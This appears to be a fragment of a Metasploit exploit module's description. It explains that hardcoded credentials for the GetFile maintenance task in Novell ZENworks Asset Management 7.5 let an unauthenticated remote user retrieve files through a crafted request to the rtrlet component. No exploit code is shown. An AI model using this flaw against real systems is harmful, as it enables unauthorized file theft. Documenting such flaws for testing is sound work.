'Description' => %q{  
This module exploits a hardcoded user and password for the GetFile maintenance  
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web  
Console and can be triggered by sending a specially crafted request to the rtrlet component,  
allowing a remote unauthenticated user to retrieve a maximum of 100_000_000 KB of  
remote files. This module has been successfully tested on Novell ZENworks Asset  
Management 7.5.
